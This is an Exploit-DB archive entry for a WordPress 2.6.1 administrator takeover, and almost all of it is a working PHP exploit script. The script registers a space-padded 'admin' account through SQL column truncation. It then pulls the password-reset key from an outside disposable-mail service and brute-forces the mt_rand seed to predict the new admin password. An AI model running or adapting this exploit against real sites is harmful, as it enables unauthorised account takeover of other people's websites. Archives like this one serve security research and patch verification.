标题: WordPress Core 2.6.1 - Admin Takeover (SQL Column Truncation) EDB-ID: 6421 CVE: 2009-2762 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-10 漏洞利用脚本: #!/usr/bin/php
<?php
# ------------------------------------------------------------
# quick'n'dirty wordpress admin-take0ver poc
# by iso^kpsbr in august 2oo8 
#
# works w/ wordpress 2.6.1
#
#         .oO( private -- do not spread! )Oo.
#
# you'll have to make sure you run roughly the same
# php version as on the server, that is: if server
# is >=5.2.1 you'll need to be as well, in case
# server is <5.2.1, your php also needs to be below.
# to make sure it works you'll need the exact same version!
# also, mod_php works better than (f)cgi..
# (this is a first working version - not a very reliable one)
#
# you should create rainbow tables to make this work in a
# real world scenario:
# php-5.2.0/php createtables.php > wp261_php520
# php-5.2.1/php createtables.php > wp261_php521
#
#-------------------------------------------------------------

 $BLOG = $_SERVER['argv'][1];

 echo "[+] w0rdpress 2.6.1. admin takeover, iso 0808\n";

 if(!$BLOG) {
  echo "[!] Usage: ".$_SERVER['argv'][0]." blogurl\n";
  echo "    fe: ".$_SERVER['argv'][0]." http://31337.biz/blog\n";
  exit;
 }

 $UA = "WordpressAdminTakeover";
 $MBOX="wp".`ps|md5sum|head -c 8`;
 $EMAIL="$MBOX@nospamfor.us";

 echo (file_exists('wp261_php520') && file_exists('wp261_php521')) ?
   "[X] rainbow tables available\n" :
   "[!] rainbow tables not found - this will be really slow\n";

 set_time_limit(0);
 ini_set("max_execution_time",0);
 ini_set("default_socket_timeout",20);

 if(!preg_match('!http://([^/]+)(.*)$!', $BLOG, $match)) {
  die("[!] $BLOG is no valid URL\n");
 }

 $HOST = $match[1];
 $PATH = $match[2];
 if(!$PATH) $PATH='/';

 echo "[-] registering new admin user\n";
 $suck = fsockopen($HOST, 80) or die("[!] could not connect to $HOST:80\n");
 $data = "user_login=admin".str_repeat("%20",60)."x&user_email=$EMAIL";
 $req = "POST $PATH/wp-login.php?action=register HTTP/1.1\r\nHost: $HOST\r\nUser-Agent: $UA\r\nConnection: close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data;
 fputs($suck, $req);
 sleep(1);
 fclose($suck);

 echo "[-] requesting resetlink and mail to '$EMAIL'\n";
 $suck = fsockopen($HOST, 80) or die("[!] could not connect to $HOST:80\n");
 $data="user_login=$EMAIL&wp-submit=Get+New+Password"; 
 $req = "POST $PATH/wp-login.php?action=lostpassword HTTP/1.1\r\nHost: $HOST\r\nReferer: $BLOG/wp-login.php?action=lostpassword\r\nConnection: keep-alive\r\nKeep-Alive: 300\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data."\r\n";
 fputs($suck, $req);

 echo "[.] giving $BLOG some time to deliver mail..\n";
 for($i=0;$i<8;$i++) {
  fputs($suck,"GET / HTTP/1.1\r\nHost: $HOST\r\nConnection: keep-alive\r\nKeep-Alive: 300\r\n\r\n");
  sleep(2);
 }

 echo "[-] fetching resetlink token $MBOX\n";
 $PAGE = file_get_contents("http://www.nospamfor.us/mailbox.php?mailbox=$MBOX&sitename=nospamfor.us");
 if(!preg_match('/.+mailid=(\d+).+?Reset/s', $PAGE, $match)) die("[!] failed to find resetmail try raising the wait-time right above\n");
 $MAILID=$match[1];

 echo "[-] fetching resetmail $MAILID\n";

 $WHOLEMAIL=file_get_contents("http://www.nospamfor.us/mail.php?mailid=$MAILID&sitename=nospamfor.us&mailbox=$MBOX");
 if(!preg_match('/key=([A-z0-9]+)/', $WHOLEMAIL, $match)) die("[!] could not find resetkey in $WHOLEMAIL\n");
 $KEY=$match[1];

 echo "[X] found resetkey $KEY\n";
 echo "[-] resetting password\n";

 $req = "GET $PATH/wp-login.php?action=rp&key=$KEY HTTP/1.1\r\nHost: $HOST\r\nUser-Agent:$UA\r\nConnection: close\r\n\r\n";
 fputs($suck, $req);
 while(!feof($suck)) {
  #echo "D:".
  fgets($suck);
 }
 fclose($suck);

 echo "[-] calculating password\n";
 $SEED=false;
 if(file_exists('wp261_php520')) {
  $SEED=`grep -F $KEY wp261*|cut -d : -f 1`;
  echo "[X] got seed $SEED from rainbow table\n";
 }
 $PASSWORD=calcpass($KEY, $SEED);

 echo "[X] all done.";
 exit;

 function calcpass($resetkey, $seed = false) {
  mt_srand(2); $a = mt_rand(); mt_srand(3); $b = mt_rand();
  define('BUGGY', $a == $b);
  echo "[-] wpress password computation. runnig in ".(BUGGY?'fast':'slow')." mode\n";

  echo "[+] got key $resetkey via mail\n";

  if(!$seed) $seed = getseed($resetkey);

  if($seed===false) die("[!] seed not found :( try using identical php version (< 5.2.5)\n");

  mt_srand($seed);
  echo "[-] seed for key ".wp_generate_password(20,false)." is $seed\n";
  $pass = wp_generate_password();
  echo "[+] new credentials are admin:$pass\n";
  return $pass;
 }

 function wp_generate_password($length = 12, $special_chars = true) {
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  if ( $special_chars )
   $chars .= '!@#$%^&*()';

  $password = '';
  for ( $i = 0; $i < $length; $i++ )
   $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
  return $password;
 } 

 function getseed($resetkey) {
  echo "[-] calculating rand seed for $resetkey (this will take a looong time)";
  $max = pow(2,(32-BUGGY));
  for($x=0;$x<=$max;$x++) {
   $seed = BUGGY ? ($x << 1) + 1 : $x;
   mt_srand($seed);
   $testkey = wp_generate_password(20,false);
   if($testkey==$resetkey) { echo "o\n"; return $seed; }

   if(!($x % 10000)) echo ".";
  }
  echo "\n";
  return false;
 }

?>

# milw0rm.com [2008-09-10] URL: https://www.exploit-db.com/exploits/6421